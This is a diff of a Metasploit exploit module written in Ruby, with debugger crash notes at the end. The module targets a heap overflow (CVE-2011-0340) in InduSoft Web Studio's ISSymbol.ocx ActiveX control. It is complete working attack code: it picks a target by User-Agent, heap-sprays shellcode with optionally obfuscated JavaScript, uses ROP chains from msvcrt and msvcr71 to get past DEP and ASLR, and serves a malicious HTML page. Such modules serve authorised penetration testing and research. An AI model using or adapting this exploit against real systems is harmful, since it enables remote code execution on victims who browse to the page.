1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "6.0" ,
20
+ :ua_maxver => "9.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => NormalRanking ,
24
+ :classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}" ,
25
+ :method => "InternationalSeparator"
26
+ } )
27
+
28
+
29
+ def initialize ( info = { } )
30
+ super ( update_info ( info ,
31
+ 'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow" ,
32
+ 'Description' => %q{
33
+ This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
34
+ SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
35
+ string argument for the InternationalSeparator() method of the ISSymbol control.
36
+ This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
37
+ } ,
38
+ 'License' => MSF_LICENSE ,
39
+ 'Author' =>
40
+ [
41
+ 'Alexander Gavrun' , # Vulnerability discovery
42
+ 'James Fitts' , # Metasploit module
43
+ 'juan vazquez' # Metasploit module
44
+ ] ,
45
+ 'References' =>
46
+ [
47
+ [ 'CVE' , '2011-0340' ] ,
48
+ [ 'OSVDB' , '72865' ] ,
49
+ [ 'BID' , '47596' ] ,
50
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ] ,
51
+ [ 'URL' , 'http://secunia.com/secunia_research/2011-37/' ]
52
+ ] ,
53
+ 'Payload' =>
54
+ {
55
+ 'Space' => 934 ,
56
+ 'DisableNops' => true ,
57
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
58
+ } ,
59
+ 'DefaultOptions' =>
60
+ {
61
+ 'InitialAutoRunScript' => 'migrate -f'
62
+ } ,
63
+ 'Platform' => 'win' ,
64
+ 'Targets' =>
65
+ [
66
+ [ 'Automatic' , { } ] ,
67
+ [ 'IE 6 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' } ] ,
68
+ [ 'IE 7 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' } ] ,
69
+ [ 'IE 8 on Windows XP SP3' , { 'Rop' => :msvcrt , 'Offset' => '0x5f4' } ] ,
70
+ [ 'IE 7 on Windows Vista' , { 'Rop' => nil , 'Offset' => '0x5f4' } ] ,
71
+ [ 'IE 8 on Windows Vista' , { 'Rop' => :jre , 'Offset' => '0x5f4' } ] ,
72
+ [ 'IE 8 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5f4' } ] ,
73
+ [ 'IE 9 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5fe' } ]
74
+ ] ,
75
+ 'Privileged' => false ,
76
+ 'DisclosureDate' => "Apr 28 2012" ,
77
+ 'DefaultTarget' => 0 ) )
78
+
79
+ register_options (
80
+ [
81
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
82
+ ] , self . class )
83
+
84
+ end
85
+
86
+ def get_target ( agent )
87
+ #If the user is already specified by the user, we'll just use that
88
+ return target if target . name != 'Automatic'
89
+
90
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
91
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
92
+
93
+ ie_name = "IE #{ ie } "
94
+
95
+ case nt
96
+ when '5.1'
97
+ os_name = 'Windows XP SP3'
98
+ when '6.0'
99
+ os_name = 'Windows Vista'
100
+ when '6.1'
101
+ os_name = 'Windows 7'
102
+ end
103
+
104
+ targets . each do |t |
105
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
106
+ print_status ( "Target selected as: #{ t . name } " )
107
+ return t
108
+ end
109
+ end
110
+
111
+ return nil
112
+ end
113
+
114
+ def ie_heap_spray ( my_target , p )
115
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
116
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
117
+ js_random_nops = Rex ::Text . to_unescape ( make_nops ( 4 ) , Rex ::Arch . endian ( my_target . arch ) )
118
+
119
+ # Land the payload at 0x0c0c0c0c
120
+ case my_target
121
+ when targets [ 7 ]
122
+ # IE 9 on Windows 7
123
+ js = %Q|
124
+ function randomblock(blocksize)
125
+ {
126
+ var theblock = "";
127
+ for (var i = 0; i < blocksize; i++)
128
+ {
129
+ theblock += Math.floor(Math.random()*90)+10;
130
+ }
131
+ return theblock;
132
+ }
133
+
134
+ function tounescape(block)
135
+ {
136
+ var blocklen = block.length;
137
+ var unescapestr = "";
138
+ for (var i = 0; i < blocklen-1; i=i+4)
139
+ {
140
+ unescapestr += "%u" + block.substring(i,i+4);
141
+ }
142
+ return unescapestr;
143
+ }
144
+
145
+ var heap_obj = new heapLib.ie(0x10000);
146
+ var code = unescape("#{ js_code } ");
147
+ var nops = unescape("#{ js_random_nops } ");
148
+ while (nops.length < 0x80000) nops += nops;
149
+ var offset_length = #{ my_target [ 'Offset' ] } ;
150
+ for (var i=0; i < 0x1000; i++) {
151
+ var padding = unescape(tounescape(randomblock(0x1000)));
152
+ while (padding.length < 0x1000) padding+= padding;
153
+ var junk_offset = padding.substring(0, offset_length);
154
+ var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
155
+ while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
156
+ sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
157
+ heap_obj.alloc(sprayblock);
158
+ }
159
+ |
160
+
161
+ else
162
+ # For IE 6, 7, 8
163
+ js = %Q|
164
+ var heap_obj = new heapLib.ie(0x20000);
165
+ var code = unescape("#{ js_code } ");
166
+ var nops = unescape("#{ js_nops } ");
167
+ while (nops.length < 0x80000) nops += nops;
168
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
169
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
170
+ while (shellcode.length < 0x40000) shellcode += shellcode;
171
+ var block = shellcode.substring(0, (0x80000-6)/2);
172
+ heap_obj.gc();
173
+ for (var i=1; i < 0x300; i++) {
174
+ heap_obj.alloc(block);
175
+ }
176
+ var overflow = nops.substring(0, 10);
177
+ |
178
+
179
+ end
180
+
181
+ js = heaplib ( js , { :noobfu => true } )
182
+
183
+ if datastore [ 'OBFUSCATE' ]
184
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
185
+ js . obfuscate
186
+ end
187
+
188
+ return js
189
+ end
190
+
191
+ def get_payload ( t , cli )
192
+ code = payload . encoded
193
+
194
+ # No rop. Just return the payload.
195
+ if t [ 'Rop' ] . nil?
196
+ prepend = [
197
+ 0x0c0c0c0c ,
198
+ 0x0c0c0c0c ,
199
+ 0x0c0c0c0c ,
200
+ 0x0c0c0c0c ,
201
+ 0x0c0c0c0c ,
202
+ 0x0c0c0c0c ,
203
+ 0x0c0c0c28 # Will finally become EIP
204
+ ] . pack ( "V*" )
205
+ return prepend + code
206
+ end
207
+
208
+ # Both ROP chains generated by mona.py - See corelan.be
209
+ case t [ 'Rop' ]
210
+ when :msvcrt
211
+ print_status ( "Using msvcrt ROP" )
212
+ stack_pivot = [
213
+ 0x0c0c0c0c , # ret from msvcrt.dll
214
+ 0x77c15ed6 , # ret from msvcrt.dll
215
+ 0x77c15ed6 , # ret from msvcrt.dll
216
+ 0x77c15ed6 , # ret from msvcrt.dll
217
+ 0x77c15ed6 , # ret from msvcrt.dll
218
+ 0x77c1f519 , # pop # ret from msvcrt.dll
219
+ 0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
220
+ ] . pack ( "V*" )
221
+ rop_payload = generate_rop_payload ( 'msvcrt' , code , { 'pivot' => stack_pivot , 'target' => 'xp' } )
222
+ else
223
+ print_status ( "Using JRE ROP" )
224
+ stack_pivot = [
225
+ 0x0c0c0c0c , # ret from msvcr71.dll
226
+ 0x7c376fff , # ret from msvcr71.dll
227
+ 0x7c376fff , # ret from msvcr71.dll
228
+ 0x7c376fff , # ret from msvcr71.dll
229
+ 0x7c376fff , # ret from msvcr71.dll
230
+ 0x7c376ffe , # pop # ret from msvcr71.dll
231
+ 0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
232
+ ] . pack ( "V*" )
233
+ rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => stack_pivot } )
234
+ end
235
+
236
+ return rop_payload
237
+ end
238
+
239
+ def load_exploit_html ( my_target , cli )
240
+ p = get_payload ( my_target , cli )
241
+ js = ie_heap_spray ( my_target , p )
242
+
243
+ # ActiveX parameters
244
+ clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
245
+ name = rand_text_alpha ( rand ( 50 ) + 1 )
246
+ boom = Rex ::Text . to_unescape ( "\x0c " * 6888 )
247
+
248
+ html = %Q|
249
+ <html>
250
+ <head>
251
+ <script>
252
+ #{ js }
253
+ </script>
254
+ </head>
255
+ <body>
256
+ <object classid='clsid:#{ clsid } ' id='#{ name } '></object>
257
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
258
+ <script language='javascript'>
259
+ #{ name } .InternationalSeparator(unescape("#{ boom } "));
260
+ </script>
261
+ </body></html>
262
+ |
263
+
264
+ return html
265
+ end
266
+
267
+ def on_request_uri ( cli , request )
268
+ agent = request . headers [ 'User-Agent' ]
269
+ uri = request . uri
270
+ print_status ( "Requesting: #{ uri } " )
271
+
272
+ my_target = get_target ( agent )
273
+ # Avoid the attack if no suitable target found
274
+ if my_target . nil?
275
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
276
+ send_not_found ( cli )
277
+ return
278
+ end
279
+
280
+ html = load_exploit_html ( my_target , cli )
281
+ html = html . gsub ( /^\t \t / , '' )
282
+ print_status ( "Sending HTML..." )
283
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
284
+ end
285
+
286
+ end
287
+
288
+ =begin
289
+ eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
290
+ eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc
291
+ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
292
+ ISSymbol!DllUnregisterServer+0xc9e2:
293
+ 100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????
294
+ 0:000> u eip
295
+ ISSymbol!DllUnregisterServer+0xc9e2:
296
+ 100127d2 8b01 mov eax,dword ptr [ecx]
297
+ 100127d4 8b5018 mov edx,dword ptr [eax+18h]
298
+ 100127d7 ffe2 jmp edx
299
+ 100127d9 cc int 3
300
+ 100127da cc int 3
301
+ 100127db cc int 3
302
+ 100127dc cc int 3
303
+ 100127dd cc int 3
304
+
305
+ * ebx
306
+ $ ruby pattern_offset.rb 41306941 6888
307
+ [*] Exact match at offset 240
308
+
309
+ * ecx
310
+ $ ruby pattern_offset.rb 336b4632 6888
311
+ [*] Exact match at offset 4208
312
+
313
+ =end
0 commit comments